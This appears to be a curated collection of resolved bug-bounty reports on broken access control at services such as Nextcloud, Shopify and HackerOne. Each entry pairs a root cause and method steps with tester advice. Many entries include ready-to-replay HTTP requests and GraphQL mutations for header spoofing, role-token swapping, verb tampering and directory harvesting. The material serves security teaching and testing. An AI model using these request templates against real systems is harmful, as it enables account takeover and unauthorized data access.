Specimen #1167853 · nextcloud · 750 · 12 votes · resolved
Program nextcloudSurface web
Root cause
Accepting a single federated (public-link) share initiates the 'trusted servers' handshake, and if auto-add-on-federated-share is enabled the two instances exchange their full user directories, so an attacker-controlled server harvests every user.
Method
- Find any circulating public link for the target instance (trusted servers enabled)
- Add it to your own attacker-controlled Nextcloud, accept the federated share
- Wait for the trusted-server handshake
- Read the exchanged full user list (username, display name, email, federated cloud id)
Insight — Federation/integration features that auto-establish trust from a single low-privilege action (one accepted share) can silently sync bulk directory data. When testing federated products, control the peer server and inspect what the trust handshake exchanges.
Real-world example
Deletion restriction bypassed via shortcut/reference
◆ Medium
Specimen #1463028 · lark_technologies · awarded · 11 votes · resolved
Program lark_technologiesSurface web
Root cause
Admin deletion/restriction is enforced on the primary file object but not on shortcuts/references to it; adding a shortcut to a folder and downloading the folder retrieves the otherwise-blocked file.
Method
- Admin deletes/restricts a shared file
- User who had a shortcut adds it to a folder
- User downloads the whole folder
- Restricted file is included in the download
Insight — Access-control checks often miss indirect references (shortcuts, aliases, copies, export bundles, zip-of-folder). After a revoke/delete, re-test every indirect path that can still resolve to the object.
Real-world example
Stale credentials survive account lifecycle (userid reuse / deactivation)
◆ Medium
Specimen #1202590 · nextcloud · none · 9 votes · resolved
Program nextcloudSurface webTag account-takeover
Root cause
Authenticators/tokens tied to a user are not purged when the account is deleted or deactivated; if the same internal userid is later reassigned, the old credential still authenticates to the new account's data.
Method
- Register a user and enroll a WebAuthn key / generate an API/stats token
- Delete or deactivate that account
- Have the userid re-provisioned to a new user (or keep the old token)
- Authenticate with the old key/token and reach the new user's data
Insight — When testing user-deletion and deactivation flows, always re-try previously issued credentials (WebAuthn devices, API tokens, OAuth grants, session cookies). Deletion often skips cleanup of secondary auth material; userid reuse turns that into cross-account access.
Real-world example
Third-party/OAuth app with offline token ignores per-user privileges (RBAC bypass via app)
◆ Medium
Specimen #64164 · shopify · 1000 · 8 votes · resolved
Program shopifySurface apiTag oauth
Root cause
Apps authenticate with a store-level (offline) OAuth token that is not tied to the acting user, so the app's API requests run with store-wide privileges regardless of the individual member's granted permissions.
Method
- As a low-privilege member with no access to a data section (e.g. Orders), install/open a third-party app that touches that data (e.g. Order Printer)
- The app fetches store data with its own offline token, returning data the member is not authorized to see
- Confirm the app performs no per-user privilege check
Insight — When testing multi-tenant/RBAC apps, always retest restricted data through embedded/third-party apps and integrations. App (offline) tokens frequently carry store/org-wide scope and skip the acting user's permission checks - a systemic BFLA surface. Fix is an 'online access' token bound to the user.
Real-world example
Collaborator access not revoked after partner email change/removal
◆ Medium
Specimen #870001 · shopify · awarded · 7 votes · resolved
Program shopifySurface webTag account-takeover
Root cause
Shopify Partners grants a collaborator store access tied to a partner's business email, but changing or removing that email from the partner account does not revoke the already-granted store access, so the old identity retains partner-level access to the store.
Method
- Create a partner account with a secondary business email and confirm it.
- Add a store as a collaborator and get the shop owner's approval.
- Change the partner business email to a different address and confirm.
- Log in via the original email at accounts.shopify.com and re-enter the collaboration store; access persists with partner privileges.
Insight — Whenever access is granted through an attribute (email, domain, group membership), test whether mutating or removing that attribute revokes the grant. Deprovisioning gaps between the identity change and the access record are a recurring access-control bug.
Real-world example
Scoped API key ignores index restriction
◆ Medium
Specimen #118925 · algolia · 1000 · 6 votes · resolved
Program algoliaSurface apiTag account-takeover
Root cause
An API key that was scoped/restricted to a single index still authorized write operations against every other index in the account; the scope was stored but never enforced at the data-access layer.
Method
- Create an API key restricted to a single index with add-record rights
- Send an add/update-record request targeting a DIFFERENT index using the same key
- Observe the write succeeds despite the key's index restriction
Insight — When a provider offers scoped/least-privilege credentials, always test the credential against resources OUTSIDE its declared scope. Scope metadata is frequently cosmetic and not enforced server-side.
Real-world example
Public share link survives revocation of can-share
◆ Medium
Specimen #145452 · nextcloud · awarded · 6 votes · resolved
Program nextcloudSurface web
Root cause
A public link created by a sub-user while they held the can-share privilege remained active after the owner revoked can-share; the orphaned link then behaved as a folder-wide public share, exposing sibling files without the owner's consent.
Method
- Owner shares a folder to a group with share privilege
- Group member creates a public link to one file
- Owner unticks can-share for the group
- The previously-created public link keeps working and now exposes the whole folder
Insight — Revoking a capability must also invalidate artifacts (links/tokens/grants) created under it. Test the lifecycle: create a share, revoke the granting permission, confirm the share dies.
Real-world example
Revoked role retains permissions (stale session/no re-authorization)
◆ Medium
Specimen #197153 · rockstargames · USD 500 · 6 votes · resolved
Program rockstargamesSurface webTag account-takeover
Root cause
When a member was kicked from a Crew, their existing session/permission cache was not invalidated, so they could still perform member-only actions (e.g. posting on the Crew wall) until re-login.
Method
- Join a group/crew/tenant and establish an active session
- Get removed (or remove yourself) from the role/group
- Replay the still-authenticated member-only requests; server does not re-check current membership
Insight — After any privilege revocation (kick, role downgrade, plan change), replay the old privileged requests with the still-valid session. Authorization must be re-evaluated per request against current state, not cached at login or group-join time.
Real-world example
Missing ownership check on edit of duplicated content (VK polls)
◆ Medium
Specimen #107664 · vkcom · none · 6 votes · resolved
Program vkcomSurface api
Root cause
A poll object is shared/referenced across posts; the edit endpoint checks only that the caller owns the wall/post it is reposted to, not that the caller owns the original poll, so editing the copy mutates the original poll's answer options everywhere.
Method
- wall.getById to fetch the target poll id from any public wall/group
- wall.post to repost that same poll onto your own profile/group wall (or the group's suggested-news queue)
- Edit the poll answer options on your copy
- The change propagates to the original post's poll as well because it's the same underlying poll object
Insight — When content can be shared/duplicated by reference, test whether the authorization check on edit validates ownership of the underlying object or only the container it now appears in. Re-attaching a shared object to a resource you control is a common way to gain edit rights over it.
Real-world example
Privacy/ACL enforced at UI layer but not at API/protocol layer (CalDAV)
◆ Medium
Specimen #439828 · nextcloud · awarded · 6 votes · resolved
Program nextcloudSurface api
Root cause
Calendar event privacy (CLASS: PRIVATE/CONFIDENTIAL) was filtered only in the Nextcloud web UI; the raw CalDAV feed returned full event details, so a user with read access to a shared calendar could see 'private'/'busy-only' events in full via any CalDAV client (Thunderbird).
Method
- User A creates an event in a calendar shared read-only to user B
- User A sets the event's privacy to Confidential/Private (should show only Busy or nothing)
- User B connects to A's calendar over CalDAV in Thunderbird
- The event is returned with all details, ignoring the privacy classification
Insight — Whenever a privacy/permission control is applied by the web front-end, test the underlying API/protocol (CalDAV, REST, GraphQL, mobile sync) directly - server-side filtering is frequently missing there. The alternate access channel bypasses UI-only redaction.
Real-world example
Report submitter can edit the team's auto-response comment
◆ Medium
Specimen #123027 · security · 1000 · 4 votes · resolved
Program securitySurface web
Root cause
The permission check for editing a comment did not distinguish the actor type (User submitter vs Team), so a reporter was allowed to edit the team's automated response comment during the edit window - an authorization bug from a User-vs-Team context confusion regression.
Method
- Submit a report to a team that has an auto-response comment configured
- Locate the team's auto-response comment on the report
- Use the normal comment-edit action on it within the edit-timeout window
- Observe the team's auto-response content is changed by the reporter
Insight — Where the same object type (a comment) can be authored by different principal types (a user vs an organization/team), test whether one principal can edit the other's object. Ownership/edit checks that key on 'is this a comment you can edit' without also checking 'did YOUR principal type author it' break down - a classic actor-context confusion.
Real-world example
Invited co-owner can delete the original owner of a shared resource
◆ Medium
Specimen #274541 · paragonie · awarded · 4 votes · resolved
Program paragonieSurface webTag account-takeover
Root cause
Multi-owner resource sharing grants an invited user full ownership but never protects the original/creating owner: the invitee can remove the original owner, seizing sole control. Missing authorization rule guarding the founding owner against removal by co-owners.
Method
- As user ABC create a resource (author profile) and invite user XYZ, granting ownership.
- As XYZ, use the member-removal feature to remove ABC (the original owner).
- ABC loses all access; XYZ becomes the sole owner (hostile takeover of the resource).
Insight — On any collaborative object (org, project, team, profile) with an invite-and-promote flow, test whether a promoted member can evict the founder/original owner. Ownership models often lack a 'cannot remove the last/original owner' invariant, enabling account/resource takeover between peers.
Real-world example
Read-only role can request AND approve public disclosure
◆ Medium
Specimen #109483 · security · 500 · 3 votes · resolved
Program securitySurface web
Root cause
A privileged action (request/approve public disclosure of a closed report, which also permits posting a public comment) was gated to the 'Report' permission scope in the UI, but the backend did not enforce it — members of a Read-Only group could invoke the action, a broken function-level authorization (BFLA).
Method
- Create a team user group with only Read-Only permission and add a user.
- Log in as that user and open a Closed report.
- Trigger request/approve public disclosure (and post a public comment) despite lacking Report scope.
Insight — Role scoping shown in the UI is not proof of server-side enforcement. For each role, enumerate the actions the role is NOT supposed to have and replay them directly — disclosure requests, comments, state changes. Read-only/limited roles frequently retain hidden write actions (BFLA).
Real-world example
Non-owner staff takes over pending staff via exposed invitation link
◆ Medium
Specimen #56726 · shopify · awarded · 3 votes · resolved
Program shopifySurface webTag account-takeover
Root cause
The staff invitation/activation link was rendered on the Settings->Account page to any full-access staff member, not only the store owner, letting a staff member complete another invitee's signup and control that account.
Method
- Log in as a full-access (non-owner) staff member
- Open Settings -> Account and read the invitation link intended for another invited staff member
- Use that link to set the invitee's password and take over the pending account
Insight — Invitation/activation/magic links are bearer credentials. Check every settings/admin page for links belonging to OTHER users being exposed to lower-privileged roles; whoever reads the link owns the account.
Real-world example
BFLA: read-only role can trigger 'manually public disclose' action (incomplete fix)
◆ Medium
Specimen #118718 · security · awarded · 2 votes · resolved
Program securitySurface webTag account-takeover
Root cause
A prior fix (#109483) restricted report disclosure but missed one action variant: the 'manually public disclose' function still lacked a role check, so a read-only team member could force a report public.
Method
- Create a program; make a group with only Read-only permission and add a user.
- Have another user submit a report; a Report-permission user resolves it and requests public disclosure.
- As the read-only user, invoke the 'manually public disclose' action -> it succeeds despite lacking permission.
Insight — After a permission fix, enumerate every action variant that reaches the same capability (request-disclose vs agree-disclose vs manual-disclose). Function-level access control is often applied to the obvious endpoint but not to sibling actions/state transitions. Re-test the exact function an incomplete-fix report calls out.
Real-world example
Authorization not revoked after program membership change
◆ Low
Specimen #800109 · security · 500 · 194 votes · resolved
Program securitySurface api
Root cause
After a hacker left an invite-only program, the old report's .json still returned the team's submission_state:open, i.e. access/state that should have been revoked persisted post-membership-change.
Method
- Establish access to a resource while a member/invitee
- Remove your access (leave program / lose role)
- Re-request the resource's .json and check for still-returned privileged fields/state
GET /reports/<old-report>.json -> "team":{...,"submission_state":"open"} after leaving
Insight — Test authorization AFTER access is revoked (leave program, remove collaborator, expire invite). Cached/embedded state on old objects frequently still leaks privileged fields.
Real-world example
Editing another party's record via a mutation missing from the UI
◆ Low
Specimen #2530242 · security · awarded · 149 votes · resolved
Program securitySurface graphqlTag graphql
Root cause
editSpotCheckReport mutation had no ownership/role check; although the UI never surfaces an edit option for team members, the mutation could be called directly to modify the hacker's write-up.
Method
- Submit a spot-check write-up as the hacker; capture the EditSpotCheckReport GraphQL mutation
- Log in as an organization/team member account
- Replay the mutation with the target spot_check_report_id and modified fields
- Write-up is silently modified by an unauthorized role
{"operationName":"EditSpotCheckReport","variables":{"input":{"spot_check_report_id":"Z2lkOi8vaGFja2Vyb25lL1Nwb3RDaGVja1JlcG9ydC81MDU=","executive_summary":"x","findings_and_evidence":"none"}},"query":"mutation EditSpotCheckReport($input: EditSpotCheckReportInput!){editSpotCheckReport(input:$input){spot_check_report{id state} was_successful}}"}
Insight — Re-test 'edit' mutations from every role even when the UI hides them; access control on write mutations is frequently role-blind. Recurring class on H1 (cf. #2061367, #2096271).
Real-world example
Unauthenticated Meteor (DDP) publications expose full collections
◆ Low
Specimen #745495 · superhuman · awarded · 138 votes · resolved
Program superhumanSurface webTag account-takeover
Root cause
Meteor app relies on client-side gating; server publications/methods (allUsers, activeUsers, etc.) perform no authentication, so any visitor can subscribe and read entire Mongo collections (emails, OAuth tokens, admin flags).
Method
- Open a Meteor app and the browser DevTools console
- Call Meteor.subscribe('allUsers') / 'activeUsers' etc. (names inferable from client JS)
- Read data with Meteor.users.find().forEach(e=>console.log(e))
- Harvest emails, access tokens, admin status
Meteor.subscribe('activeUsers');
Meteor.users.find().forEach(e => console.log(e));
Insight — If you see DDP/websocket 'sockjs' traffic or Meteor, enumerate publication/method names from the JS bundle and call them unauthenticated in console; server-side publish/method authorization is frequently absent.
Real-world example
403 / IP-restriction bypass via X-Forwarded-For spoofing
◆ Low
Specimen #1224089 · acronis · 250 · 125 votes · resolved
Program acronisSurface webTag account-takeover
Root cause
An internal-only endpoint (nginx_status) is IP-restricted, but the app/proxy trusts a client-supplied X-Forwarded-For to determine source IP, so spoofing a localhost value grants access.
Method
- Request the restricted path, observe 403 (e.g. /nginx_status/)
- Resend with header X-Forwarded-For: 127.0.0.1 (also try X-Real-IP, X-Forwarded-Host, 127.0.0.1:80)
- Observe 200 and the internal content
GET /nginx_status/ HTTP/1.1
Host: TARGET
X-Forwarded-For: 127.0.0.1
Insight — On any 403/401 for an admin/internal path, brute-force IP-spoofing headers (X-Forwarded-For, X-Real-IP, X-Client-IP, X-Originating-IP, Forwarded) with 127.0.0.1 / internal ranges before giving up.
Real-world example
Closed account retains ability to act via replayed request + harvested CSRF token
◆ Low
Specimen #1020371 · basecamp · awarded · 124 votes · resolved
Program basecampSurface webTag account-takeover
Root cause
After an account is closed, its session/cookies are not fully revoked. By logging into the closed account, scraping the fresh csrf-token from the returned page, and replaying the direct-upload request with the new cookie + token, the closed user can still upload files.
Method
- Prepare a to-be-closed account and capture the direct_uploads request
- Close the account
- Log back in; from the closed-account page grab the csrf-token and cookie
- Replay POST /rails/active_storage/direct_uploads with those values to upload despite closure
POST /rails/active_storage/direct_uploads HTTP/1.1
Host: app.hey.com
X-CSRF-Token: <TOKEN_FROM_CLOSED_ACCOUNT_PAGE>
Content-Type: application/json
Cookie: <fresh session>
{"blob":{"filename":"x.svg","content_type":"image/svg+xml","byte_size":338,"checksum":"..."}}
Insight — Account closure/deactivation/logout must revoke sessions and tokens server-side. Test whether a 'closed'/'suspended' account can still hit state-changing endpoints by replaying requests with a freshly issued CSRF token - deactivation is frequently only a UI/flag change.
Real-world example
Recon private object UUIDs from web archives, replay to GraphQL
◆ Low
Specimen #2483666 · security · 2500 · 105 votes · resolved
Program securitySurface graphqlTag graphql
Root cause
Embedded submission forms that are private/inactive still return program details (response efficiency, intro text, structured scopes) when queried by the form UUID; the UUID is unpredictable but recoverable from historical URLs.
Method
- Use waybackurls/archive sources to collect embedded_submissions UUIDs that were once public
- Send a GraphQL query for each UUID to fetch details of now-private/inactive programs
- Confirm sensitive program metadata returns despite the form not being publicly accessible
GraphQL query on embedded submission form UUID (harvested via waybackurls) returning intro text / structured scopes for private programs
Insight — UUIDs are not access control. Treat 'unguessable' identifiers as recon targets: mine wayback/archive/git history/JS bundles for leaked UUIDs, then replay them against object-lookup endpoints that assume the id itself is the secret.
Real-world example
Forced browsing to org-admin function as program admin
◆ Low
Specimen #2323303 · security · awarded · 81 votes · resolved
Program securitySurface webTag account-takeover
Root cause
Domain verification is documented as org-admin only, but the /domain_ownerships/new route lacks a server-side org-admin check, so a mere program admin can add verified domains to the organization.
Method
- In a sandbox, grant your account program-admin but remove org-admin permission
- Navigate directly to /<program>/domain_ownerships/new
- Add a verified domain despite lacking org-admin rights
GET/POST /<program>/domain_ownerships/new # reachable and functional without org-admin role
Insight — Read the product's own permission docs, then forced-browse to the URLs of features documented as higher-role-only. Missing route-level authorization on admin sub-features is common; the docs hand you the test cases.
Real-world example
Capability advertised at build/upload but not enforced at runtime (CosmWasm)
◆ Low
Specimen #2930811 · cosmos · 2000 · 81 votes · resolved
Program cosmosSurface otherChain strip requires_* -> upload accepted -> runtime dispatcTag supply-chain
Root cause
CosmWasm gated capabilities only via the requires_* string emitted at compile time and checked at contract upload; the runtime message handler never re-checked, so removing that string lets a contract execute actions the chain declared it disallows.
Method
- Target a chain that announces no capability (expecting that to block certain contract actions) but allows those actions via normal non-wasm messages.
- Comment out / remove the capabilities-string generation in the CosmWasm compiler exports so requires_* is absent.
- Deploy the contract (upload succeeds since no requires_* is present) and execute the 'disallowed' capability action at runtime.
// packages/std/src/exports.rs - remove the requires_* export so the uploaded wasm advertises no required capabilities
// upload passes capability negotiation; DefaultMessageHandler dispatches the message anyway (no runtime check)
Insight — Capability/feature negotiation that happens only at install/upload time is bypassable if the runtime dispatcher does not independently enforce it. Whenever a permission is declared by the artifact itself (a string/manifest), assume the attacker controls that declaration and test whether runtime re-checks.
Real-world example
BFLA: lower role hits admin-only endpoint by swapping JWT
◆ Low
Specimen #3371448 · lovable-vdp · none · 79 votes · resolved
Program lovable-vdpSurface apiTag jwt
Root cause
The /workspaces/<id>/tool-preferences/ai_gateway/enable endpoint performs no server-side role check, so an Editor's JWT can toggle an admin-only workspace feature (Lovable AI) off for everyone.
Method
- As Owner, capture the request that toggles the admin-only feature
- Replace the Authorization bearer token with the Editor's JWT
- Replay; the request succeeds and the feature is disabled workspace-wide
POST /workspaces/<WORKSPACE_ID>/tool-preferences/ai_gateway/enable HTTP/2\nAuthorization: Bearer <EDITOR_JWT>\nContent-Type: application/json\n\n{"approval_preference":"disable"}
Insight — Classic A-B-A BFLA: record the privileged request as admin, then replay it with a lower-role token/JWT. Admin-only settings toggles very often check the role only in the UI. Try every low role against every admin action endpoint.
Real-world example
Private-program data reachable via sibling endpoint after 404 on main handle
◆ Low
Specimen #2632876 · security · awarded · 76 votes · resolved
Program securitySurface webTag graphql
Root cause
The main resource (/:handle) correctly 404s for deauthorized users, but a sibling route (/:handle/hacker_demand) and the policy page it links to enforce no such check, leaking program details to ex-reporters, ex-staff and external report participants.
Method
- As a user who left / was never in a private program, visit /:handle -> 404
- Visit /:handle/hacker_demand instead
- Click Introduction / Program Highlights / Overview to land on the policy page, exposing intro, contact email, highlights, state, top hackers, VPN state, etc.
GET /<private_program_handle>/hacker_demand HTTP/2
Host: hackerone.com
Insight — Authorization is per-route, not per-resource. When the canonical URL is locked down, enumerate sibling/less-trafficked endpoints (settings, goals, metrics, *_demand, policy, export) that touch the same object - they are commonly missed by the access-control layer. Also a bypass of prior fixes #2278865/#386997/#347693.
Real-world example
Server-side action ignores UI permission flags (bulk endpoint)
◆ Low
Specimen #867249 · security · USD 500 · 71 votes · resolved
Program securitySurface webTag account-takeover
Root cause
The report object returned can_change_state:false for the actor, yet /reports/bulk performed the state change without re-checking that permission server-side.
Method
- Obtain a report where your permission map shows can_change_state:false
- POST to /reports/bulk with reply_action=change-state and the target substate
- Observe the state changes despite the UI flag denying it
POST /reports/bulk
message=test&substate=triaged&reply_action=change-state&mark_ineligible_for_bounty=false&reports_count=1&report_ids[]=REPORT_ID&bounty_currency=USD
Insight — Client-returned permission maps (can_*:false) are hints, not enforcement. Enumerate bulk/batch/admin endpoints and replay privileged actions; access checks are frequently missing on the bulk variant.
Real-world example
Exported activity loads javascript:/data: URL into webview JS interface
◆ Low
Specimen #1737358 · shopify · awarded · 65 votes · resolved
Program shopifySurface mobile-androidChain malicious app -> exported activity -> webview JS exec Tag account-takeover
Root cause
com.shopify.mobile.navigation.NavigationActivity is exported and does not validate the scheme of a URL passed as an intent extra, so a malicious app can hand it a data:/javascript: URL that executes JS in the app's webview and reaches the exposed EASDK/SmartWebview JS bridge.
Method
- From a malicious/co-installed app, start the exported NavigationActivity with an extra URL
- Use a data: or javascript: scheme URL instead of https
- The webview loads it and JS executes with access to the EASDK/SmartWebview JS interface
# conceptual intent extra to exported NavigationActivity
url = "javascript:..." or "data:text/html,<script>...</script>"
Insight — For Android targets, enumerate exported activities/components (drozer, manifest) that take a URL extra and check scheme validation. If javascript:/data:/file: aren't blocklisted, you get JS execution in a webview - especially dangerous when @JavascriptInterface bridges exist. Requires a malicious co-installed app + user interaction.
Real-world example
GraphQL field-level authz gap exposes Shopify Payments balance to no-permission staff
◆ Low
Specimen #417170 · shopify · 500 · 62 votes · resolved
Program shopifySurface graphqlTag graphql
Root cause
Authorization is enforced on UI menus, not on individual GraphQL fields, so a staff account with no explicit permissions can query shop.shopifyPaymentsAccount.balance/payouts and learn payment-provider + balance data.
Method
- Create a staff account with no permissions on a store
- Send the HomeIndex GraphQL query directly (bypassing the UI that hides it)
- Read shop.shopifyPaymentsAccount.balance / payouts from the response
POST /admin/api/graphql
{"operationName":"HomeIndex","query":"query HomeIndex{shop{shopifyPaymentsAccount{balance{...on MoneyV2{amount currencyCode}} payouts(first:2,reverse:true){edges{node{gross{amount currencyCode} status}}}}}"}
Insight — UI hiding != authorization. Capture the GraphQL/API calls a privileged view makes, then replay individual queries/fields with a low-privilege session - field-level authz (BFLA) is frequently missing on financial/settings objects.
Real-world example
Restricted create bypassed via clone/copy function
◆ Low
Specimen #2388183 · nextcloud · awarded · 56 votes · resolved
Program nextcloudSurface web
Root cause
Board creation is limited to allowed groups and the direct create endpoint returns 403, but the clone-board endpoint performs no equivalent authorization check, so a restricted user clones an existing board to obtain a fully-featured new board.
Method
- Confirm direct create is blocked (POST create returns 403 'Creating boards has been disabled')
- Use the clone action on any board you can view
- Rename the cloned board; you now own a new board with all options
POST /nextcloud/apps/deck/boards/<board_id>/clone HTTP/1.1
Host: TARGET
Insight — When a create/write action is blocked, enumerate sibling operations that produce the same object type (clone, copy, duplicate, import, template) - the authorization check is rarely mirrored onto all of them.
Real-world example
Billing action reachable by report-only staff (BFLA)
◆ Low
Specimen #947728 · shopify · awarded · 56 votes · resolved
Program shopifySurface graphqlTag graphql
Root cause
The TrialSelfExtend GraphQL mutation has no server-side permission check, so a staff member holding only the 'report' permission can extend the shop's trial subscription despite having no subscription/plan access in the UI.
Method
- Invite a staff member with only the 'report' permission
- Confirm the UI exposes no subscription controls to that staff
- Send the TrialSelfExtend mutation to the internal admin GraphQL endpoint with the staff session/CSRF token
POST /admin/internal/web/graphql/core HTTP/1.1
Host: <shop>.myshopify.com
X-CSRF-Token: <token>
Content-Type: application/json
X-Shopify-Web-Force-Proxy: 1
{"operationName":"TrialSelfExtend","variables":{},"query":"mutation TrialSelfExtend { trialSelfExtend { message userErrors { field message } } }"}
Insight — UI hides privileged mutations from low-permission staff, but the GraphQL mutation still resolves. Harvest mutation names from a privileged session, then replay them under a least-privileged session/CSRF token.
Real-world example
Reusable invitation token / invite-flow acceptance bypass
◆ Low
Specimen #331691 · security · 500 · 54 votes · resolved
Program securitySurface web
Root cause
An invitation link/token is not invalidated after use (or after the invite is disabled), so it can be redeemed by multiple users to join a team, and acceptance controls can be sidestepped entirely.
Method
- Have a team send an email-forwarding invitation to an address
- Open the invite link and accept it from several different accounts
- The token stays live and each account is added - single-use is not enforced
Reuse the same invite token URL from multiple accounts -> all accepted (also: admin adding a user by email without acceptance)
Insight — Treat every invite/reset/one-time token as suspect: replay it after redemption, after the invite is revoked/disabled, and from other accounts - invalidation is frequently missing, and acceptance gates are often bypassable server-side.
Real-world example
HTTP verb tampering (PATCH) to reach a hidden edit action
◆ Low
Specimen #2149124 · frontegg · awarded · 53 votes · resolved
Program fronteggSurface apiChain PATCH API key roleIds -> assign Impersonator -> token
Root cause
The API-key resource only exposes create (POST) and delete (DELETE) to admins; there is no edit UI, but the same endpoint silently accepts PATCH, letting a non-owner admin modify an API key's roleIds (e.g. upgrade to Impersonator) - a function-level authz + verb-handling gap.
Method
- As an admin (not owner), intercept the DELETE request to an API-key you should not control
- Move it to Repeater and drop the original
- Change the method from DELETE to PATCH and send a body editing description/roleIds
- Assign a high-privilege role id (e.g. Impersonator) to the key
PATCH /frontegg/identity/resources/tenants/api-tokens/v1/<API_KEY_ID> HTTP/1.1
Host: TARGET
Content-Type: application/json
{"description":"desc111111","roleIds":["c22321ba-8ece-426d-b418-ece2a6d72009"]} // Impersonator role
Insight — When only some verbs are exposed on a resource, fuzz the others (PATCH/PUT/DELETE/OPTIONS). Frameworks often wire a controller for an unadvertised verb without authorization, exposing an edit primitive the UI never surfaces.
Real-world example
Fix bypass: same secret leaked via a different response artifact; non-expiring token
◆ Low
Specimen #1489077 · shopify · awarded · 50 votes · resolved
Program shopifySurface webChain low-priv user -> extract static preview host -> perman
Root cause
After a fix made storefront preview URLs expire on password change, a different admin endpoint's HTML response still embedded a static preview hostname (inside a cdn.shopify.com screenshot image URL) that never expired and survived storefront-password change and removal of the low-permission user who obtained it.
Method
- As a themes-permission staff user, open /admin/themes and capture the app-shell POST
- In the response HTML, find the preloaded screenshot image URL on cdn.shopify.com
- Extract the <token>-<shopid>.shopifypreview.com host embedded in that image URL
- After the store password is changed and the user removed, the extracted preview host still serves the storefront
# response contains:
https://cdn.shopify.com/screenshots/shopify/<TOKEN>-<SHOPID>.shopifypreview.com?height=600&version=...
# usable permanently:
https://<TOKEN>-<SHOPID>.shopifypreview.com/
Insight — When a fix rotates/expires the obvious secret, hunt for the SAME secret leaking through secondary artifacts (screenshot/preview/thumbnail URLs, cached HTML, embedded metadata). Also always test whether the token expires on credential change and user removal.
Real-world example
Cookie-swap to bypass eligibility gating on create action
◆ Low
Specimen #2130385 · lichess · none · 50 votes · resolved
Program lichessSurface web
Root cause
Blog-creation eligibility (account age/reputation) is enforced only at the UI/initial step; the create endpoint itself does not re-verify eligibility, so performing the create request from an eligible account but with an ineligible account's session cookie creates the blog on the ineligible account.
Method
- From an eligible old account, begin creating a blog and solve the captcha, intercept the save request, then drop it
- Replace the session cookies in that request with the new (ineligible) account's cookies
- Send; the response Location points at the newly created blog owned by the ineligible account
- Visit the Location URL while logged in as the new account to edit/submit
# intercepted eligible-account POST save request, then:
Cookie: <ineligible_new_account_session>
# server creates the blog for the cookie's account, ignoring eligibility
Insight — When an action is gated by an account attribute (age, reputation, KYC, plan), test whether the gate is only on the pre-flight UI check. Replay the final action request with a fresh/ineligible account's session to see if the endpoint re-validates.
Real-world example
Bulk export leaks draft/never-submitted objects
◆ Low
Specimen #1664920 · security · awarded · 50 votes · resolved
Program securitySurface web
Root cause
The Export Reports (CSV) feature aggregates records without applying the same visibility filter as the normal inbox, so draft reports (never submitted, not in inbox) appear in the export with title/severity/weakness/PII.
Method
- Create a draft report against a program but do NOT submit it
- As a program manager, use /<program>/export_reports
- Open the emailed CSV
- Draft report metadata (title, severity, weakness) is present though it is invisible in the inbox
GET /<program-handle>/export_reports
Insight — Export/report/print/API-list endpoints often re-implement queries and skip the per-object ACL/visibility checks the primary UI enforces. Always diff what a bulk-export or reporting endpoint returns against what the interactive view shows.
Real-world example
Wildcard list endpoint ignores per-object permission
◆ Low
Specimen #2208656 · ibb · USD 540 · 50 votes · resolved
Program ibbSurface api
Root cause
Airflow's REST endpoint POST /dags/~/dagRuns/~/taskInstances/list used '~' as a wildcard but did not re-apply the caller's per-DAG read restrictions, so a user granted read on only one DAG could list task instances of all DAGs (CVE-2023-42663).
Method
- Create a role with read on a single DAG only (no global can-read-on-DAGs)
- Log in as that user
- POST to the ~/~ wildcard taskInstances list endpoint with empty body
- Response includes task instances from DAGs the user cannot see
POST /api/v1/dags/~/dagRuns/~/taskInstances/list HTTP/1.1
Cookie: session=<low-priv>
Content-Type: application/json
{}
Insight — Wildcard/bulk 'list' endpoints frequently enforce coarse auth ('can access the API') but skip the per-object filter the UI applies. Test list/search endpoints with a low-privilege account and wildcards to surface objects outside your grant.
Real-world example
Forced browsing to versioned resource leaks hidden state
◆ Low
Specimen #565736 · security · awarded · 48 votes · resolved
Program securitySurface web
Root cause
The current scope of a challenge was hidden pre-launch, but the sibling '/scope_versions' endpoint returned the scope (and its history) without honoring the hidden state.
Method
- Note the primary resource is hidden/embargoed (challenge scope)
- Request the related versions/history endpoint directly: /{name}/scope_versions
- Read the leaked current and historical scope before release
GET https://hackerone.com/{challengeName}/scope_versions
Insight — When a resource is embargoed on its main page, hit its adjacent representations - /versions, /history, /revisions, /export, .json, API equivalents. Access checks are frequently applied only to the canonical route.
Real-world example
Program ban not reconciled with automated invite -> private data access
◆ Low
Specimen #357485 · security · 500 · 45 votes · resolved
Program securitySurface graphqlTag graphql
Root cause
A user banned by a private program was later auto-invited to it by the platform's bot; accepting added the team to the user's whitelisted_team_ids, granting API/GraphQL access to the program's hacktivity, scope and updates even though the UI still denied them.
Method
- Be on a program's ban list
- Accept an automated/occasional invite to that same program
- team_id now appears in your whitelisted_team_ids
- Query hacktivity, structured_scopes and posts via the REST/GraphQL endpoints directly
GET /hacktivity?filter=type:all to:TEAM&range=forever HTTP/1.1
Host: hackerone.com
# and GraphQL Team_assets / Team_posts queries with team handle
Insight — When two authorization states can conflict (banned vs invited, blocked vs member), the grant path often wins on the API even if the UI honors the deny. Look for allowlist arrays (whitelisted_team_ids) set by one flow but never checked against a deny list.
Real-world example
Feature-tier gate bypass: non-bounty program enables bounty-only features via direct GraphQL mutation
◆ Low
Specimen #460920 · security · USD 500 · 45 votes · resolved
Program securitySurface graphqlTag graphql
Root cause
Bounty-only features (bounty table, eligible_for_bounty scope flag) are gated only in the UI. The backend GraphQL mutations accept the same team_id from a Response (non-bounty) program and persist bounty state, since program-type authorization is not enforced server-side.
Method
- Capture the GraphQL mutation the UI sends for a bounty program (e.g. Update_bounty_table_mutation / Create_structured_scope_mutation)
- Replay it authenticated as a Response program, keeping/adjusting team_id
- Backend persists the bounty feature (bounty table displayed; eligible_for_bounty stays true) despite program type
POST /graphql
mutation Update_bounty_table_mutation ... variables:{input_0:{team_id:"<base64 team gid>", bounty_table_rows:[{low:100,medium:100,high:100,critical:100}] ...}}
Insight — When a plan/edition toggles UI features, the underlying GraphQL/REST mutations often lack a corresponding server-side entitlement check. Enumerate mutations exposed only to higher tiers and replay them from a lower-tier context. Also test that mode/type flags are reset on downgrade (eligible_for_bounty persisting = state not reset on program-type switch).
Real-world example
Replay captured post request to bypass revoked channel permission (Mattermost)
◆ Low
Specimen #1114617 · mattermost · awarded · 45 votes · resolved
Program mattermostSurface web
Root cause
Mattermost checks post-permission at the UI/creation path but not on the actual create-post request; a request captured while the user still had rights (in another channel) can be replayed against a channel where their comment permission was later revoked.
Method
- In a channel where you can post, capture the create-post request.
- Have the channel owner revoke members' post permission on the target channel.
- Replay the captured request (adjusted to target channel) -> comment is posted despite lacking permission.
